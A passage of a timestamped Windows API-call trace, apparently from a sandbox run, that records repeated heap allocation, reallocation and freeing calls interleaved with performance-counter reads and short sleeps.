[0067.939] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0067.939] GetProcessHeap () returned 0x630000 [0067.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0067.939] GetProcessHeap () returned 0x630000 [0067.939] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0058, Size=0x15) returned 0x6b0038 [0067.939] GetProcessHeap () returned 0x630000 [0067.939] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0067.940] GetProcessHeap () returned 0x630000 [0067.940] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0067.940] GetProcessHeap () returned 0x630000 [0067.940] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0038, Size=0x16) returned 0x6b0058 [0067.940] GetProcessHeap () returned 0x630000 [0067.940] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0067.940] GetProcessHeap () returned 0x630000 [0067.940] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0067.940] GetProcessHeap () returned 0x630000 [0067.940] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0058, Size=0x17) returned 0x6b0038 [0067.940] GetProcessHeap () returned 0x630000 [0067.940] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ef0 [0067.940] GetProcessHeap () returned 0x630000 [0067.940] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0067.940] GetProcessHeap () returned 0x630000 [0067.940] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0038, Size=0x18) returned 0x6b0058 [0067.940] GetProcessHeap () returned 0x630000 [0067.940] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0067.940] GetProcessHeap () returned 0x630000 [0067.940] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ef0 | out: hHeap=0x630000) returned 1 [0067.940] GetProcessHeap () returned 0x630000 [0067.940] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0058, Size=0x19) returned 0x693d10 [0067.940] GetProcessHeap () returned 0x630000 [0067.940] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0067.940] QueryPerformanceCounter (in: lpPerformanceCount=0x6ebfb78 | out: lpPerformanceCount=0x6ebfb78*=16128527624) returned 1 [0067.941] Sleep (dwMilliseconds=0x43) [0068.108] GetProcessHeap () returned 0x630000 [0068.108] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ed8 [0068.108] GetProcessHeap () returned 0x630000 [0068.108] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.108] GetProcessHeap () returned 0x630000 [0068.108] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0ed8, Size=0xb) returned 0x6b0e90 [0068.108] GetProcessHeap () returned 0x630000 [0068.108] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1028 [0068.108] GetProcessHeap () returned 0x630000 [0068.108] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.108] GetProcessHeap () returned 0x630000 [0068.108] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0e90, Size=0xc) returned 0x6b1010 [0068.108] GetProcessHeap () returned 0x630000 [0068.108] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1088 [0068.108] GetProcessHeap () returned 0x630000 [0068.108] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1028 | out: hHeap=0x630000) returned 1 [0068.108] GetProcessHeap () returned 0x630000 [0068.108] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1010, Size=0xd) returned 0x6b1100 [0068.108] GetProcessHeap () returned 0x630000 [0068.108] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.108] GetProcessHeap () returned 0x630000 [0068.108] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1088 | out: hHeap=0x630000) returned 1 [0068.108] GetProcessHeap () returned 0x630000 [0068.108] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1100, Size=0xe) returned 0x6b0ef0 [0068.108] GetProcessHeap () returned 0x630000 [0068.108] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fc8 [0068.108] GetProcessHeap () returned 0x630000 [0068.108] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.108] GetProcessHeap () returned 0x630000 [0068.108] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0ef0, Size=0xf) returned 0x6b1100 [0068.108] GetProcessHeap () returned 0x630000 [0068.108] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1118 [0068.108] GetProcessHeap () returned 0x630000 [0068.108] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fc8 | out: hHeap=0x630000) returned 1 [0068.108] GetProcessHeap () returned 0x630000 [0068.108] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1100, Size=0x10) returned 0x6b10b8 [0068.109] GetProcessHeap () returned 0x630000 [0068.109] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.109] GetProcessHeap () returned 0x630000 [0068.109] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1118 | out: hHeap=0x630000) returned 1 [0068.109] GetProcessHeap () returned 0x630000 [0068.109] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b10b8, Size=0x11) returned 0x6b0038 [0068.109] GetProcessHeap () returned 0x630000 [0068.109] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f98 [0068.109] GetProcessHeap () returned 0x630000 [0068.109] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.109] GetProcessHeap () returned 0x630000 [0068.109] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0038, Size=0x12) returned 0x6b0058 [0068.109] GetProcessHeap () returned 0x630000 [0068.109] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.109] GetProcessHeap () returned 0x630000 [0068.109] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f98 | out: hHeap=0x630000) returned 1 [0068.109] GetProcessHeap () returned 0x630000 [0068.109] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0058, Size=0x13) returned 0x6b0038 [0068.109] GetProcessHeap () returned 0x630000 [0068.109] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.109] GetProcessHeap () returned 0x630000 [0068.109] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.109] GetProcessHeap () returned 0x630000 [0068.109] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0038, Size=0x14) returned 0x6b0058 [0068.109] GetProcessHeap () returned 0x630000 [0068.109] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1100 [0068.109] GetProcessHeap () returned 0x630000 [0068.109] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.109] GetProcessHeap () returned 0x630000 [0068.109] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0058, Size=0x15) returned 0x6b0038 [0068.109] GetProcessHeap () returned 0x630000 [0068.109] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1070 [0068.109] GetProcessHeap () returned 0x630000 [0068.109] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1100 | out: hHeap=0x630000) returned 1 [0068.109] GetProcessHeap () returned 0x630000 [0068.109] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0038, Size=0x16) returned 0x6b0058 [0068.109] GetProcessHeap () returned 0x630000 [0068.109] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1088 [0068.109] GetProcessHeap () returned 0x630000 [0068.109] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1070 | out: hHeap=0x630000) returned 1 [0068.109] GetProcessHeap () returned 0x630000 [0068.109] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0058, Size=0x17) returned 0x6b0038 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ed8 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1088 | out: hHeap=0x630000) returned 1 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0038, Size=0x18) returned 0x6b0058 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1058 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0058, Size=0x19) returned 0x693c20 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693c20, Size=0x1a) returned 0x693ab8 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10b8 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693ab8, Size=0x1b) returned 0x693ce8 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1010 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10b8 | out: hHeap=0x630000) returned 1 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693ce8, Size=0x1c) returned 0x693c20 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1088 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693c20, Size=0x1d) returned 0x693ce8 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1088 | out: hHeap=0x630000) returned 1 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693ce8, Size=0x1e) returned 0x693ab8 [0068.110] GetProcessHeap () returned 0x630000 [0068.110] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1040 [0068.111] GetProcessHeap () returned 0x630000 [0068.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.111] GetProcessHeap () returned 0x630000 [0068.111] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693ab8, Size=0x1f) returned 0x693c20 [0068.111] GetProcessHeap () returned 0x630000 [0068.111] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.111] GetProcessHeap () returned 0x630000 [0068.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0068.111] GetProcessHeap () returned 0x630000 [0068.111] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693c20, Size=0x20) returned 0x693ab8 [0068.111] GetProcessHeap () returned 0x630000 [0068.111] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1118 [0068.111] GetProcessHeap () returned 0x630000 [0068.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.111] GetProcessHeap () returned 0x630000 [0068.111] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693ab8, Size=0x21) returned 0x699738 [0068.111] GetProcessHeap () returned 0x630000 [0068.111] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10b8 [0068.111] GetProcessHeap () returned 0x630000 [0068.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1118 | out: hHeap=0x630000) returned 1 [0068.111] GetProcessHeap () returned 0x630000 [0068.111] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699738, Size=0x22) returned 0x699ca8 [0068.111] GetProcessHeap () returned 0x630000 [0068.111] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1100 [0068.111] GetProcessHeap () returned 0x630000 [0068.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10b8 | out: hHeap=0x630000) returned 1 [0068.111] GetProcessHeap () returned 0x630000 [0068.111] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699ca8, Size=0x23) returned 0x699bb8 [0068.111] GetProcessHeap () returned 0x630000 [0068.111] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f80 [0068.111] GetProcessHeap () returned 0x630000 [0068.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1100 | out: hHeap=0x630000) returned 1 [0068.111] GetProcessHeap () returned 0x630000 [0068.111] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699bb8, Size=0x24) returned 0x699c78 [0068.111] GetProcessHeap () returned 0x630000 [0068.111] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f98 [0068.111] GetProcessHeap () returned 0x630000 [0068.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f80 | out: hHeap=0x630000) returned 1 [0068.111] GetProcessHeap () returned 0x630000 [0068.111] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699c78, Size=0x25) returned 0x699a98 [0068.111] GetProcessHeap () returned 0x630000 [0068.111] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10a0 [0068.112] GetProcessHeap () returned 0x630000 [0068.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f98 | out: hHeap=0x630000) returned 1 [0068.112] GetProcessHeap () returned 0x630000 [0068.112] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699a98, Size=0x26) returned 0x699ca8 [0068.112] GetProcessHeap () returned 0x630000 [0068.112] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.112] GetProcessHeap () returned 0x630000 [0068.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10a0 | out: hHeap=0x630000) returned 1 [0068.112] GetProcessHeap () returned 0x630000 [0068.112] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699ca8, Size=0x27) returned 0x699af8 [0068.112] GetProcessHeap () returned 0x630000 [0068.112] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.112] GetProcessHeap () returned 0x630000 [0068.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.112] GetProcessHeap () returned 0x630000 [0068.112] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699af8, Size=0x28) returned 0x699b88 [0068.112] GetProcessHeap () returned 0x630000 [0068.112] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1100 [0068.112] GetProcessHeap () returned 0x630000 [0068.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.112] GetProcessHeap () returned 0x630000 [0068.112] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699b88, Size=0x29) returned 0x66c530 [0068.112] GetProcessHeap () returned 0x630000 [0068.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1100 | out: hHeap=0x630000) returned 1 [0068.112] QueryPerformanceCounter (in: lpPerformanceCount=0x6ebfb78 | out: lpPerformanceCount=0x6ebfb78*=16145599249) returned 1 [0068.112] Sleep (dwMilliseconds=0x17) [0068.226] GetProcessHeap () returned 0x630000 [0068.226] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10d0 [0068.226] GetProcessHeap () returned 0x630000 [0068.226] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.226] GetProcessHeap () returned 0x630000 [0068.226] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b10d0, Size=0xb) returned 0x6b1118 [0068.226] GetProcessHeap () returned 0x630000 [0068.226] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1088 [0068.226] GetProcessHeap () returned 0x630000 [0068.226] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.226] GetProcessHeap () returned 0x630000 [0068.226] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1118, Size=0xc) returned 0x6b1178 [0068.226] GetProcessHeap () returned 0x630000 [0068.226] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.226] GetProcessHeap () returned 0x630000 [0068.226] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1088 | out: hHeap=0x630000) returned 1 [0068.226] GetProcessHeap () returned 0x630000 [0068.226] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1178, Size=0xd) returned 0x6b0ed8 [0068.226] GetProcessHeap () returned 0x630000 [0068.226] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10d0 [0068.226] GetProcessHeap () returned 0x630000 [0068.226] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.226] GetProcessHeap () returned 0x630000 [0068.226] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0ed8, Size=0xe) returned 0x6b1100 [0068.226] GetProcessHeap () returned 0x630000 [0068.226] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.226] GetProcessHeap () returned 0x630000 [0068.226] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10d0 | out: hHeap=0x630000) returned 1 [0068.226] GetProcessHeap () returned 0x630000 [0068.226] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1100, Size=0xf) returned 0x6b0f98 [0068.226] GetProcessHeap () returned 0x630000 [0068.226] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1100 [0068.226] GetProcessHeap () returned 0x630000 [0068.226] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0f98, Size=0x10) returned 0x6b0ed8 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ef0 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1100 | out: hHeap=0x630000) returned 1 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0ed8, Size=0x11) returned 0x6b0038 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1058 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ef0 | out: hHeap=0x630000) returned 1 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0038, Size=0x12) returned 0x6b0058 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0058, Size=0x13) returned 0x6b0038 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10a0 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0038, Size=0x14) returned 0x6b0058 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10a0 | out: hHeap=0x630000) returned 1 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0058, Size=0x15) returned 0x6b0038 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f98 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0038, Size=0x16) returned 0x6b0058 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f98 | out: hHeap=0x630000) returned 1 [0068.227] GetProcessHeap () returned 0x630000 [0068.227] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0058, Size=0x17) returned 0x6b0038 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0038, Size=0x18) returned 0x6b0058 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0058, Size=0x19) returned 0x693ab8 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693ab8, Size=0x1a) returned 0x693c20 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ff8 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693c20, Size=0x1b) returned 0x693ab8 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ff8 | out: hHeap=0x630000) returned 1 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693ab8, Size=0x1c) returned 0x693c20 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1040 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693c20, Size=0x1d) returned 0x693ce8 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f68 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693ce8, Size=0x1e) returned 0x693c20 [0068.228] GetProcessHeap () returned 0x630000 [0068.228] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f80 [0068.229] GetProcessHeap () returned 0x630000 [0068.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f68 | out: hHeap=0x630000) returned 1 [0068.229] GetProcessHeap () returned 0x630000 [0068.229] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693c20, Size=0x1f) returned 0x693ce8 [0068.229] GetProcessHeap () returned 0x630000 [0068.229] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1058 [0068.229] GetProcessHeap () returned 0x630000 [0068.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f80 | out: hHeap=0x630000) returned 1 [0068.229] GetProcessHeap () returned 0x630000 [0068.229] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693ce8, Size=0x20) returned 0x693ab8 [0068.229] GetProcessHeap () returned 0x630000 [0068.229] 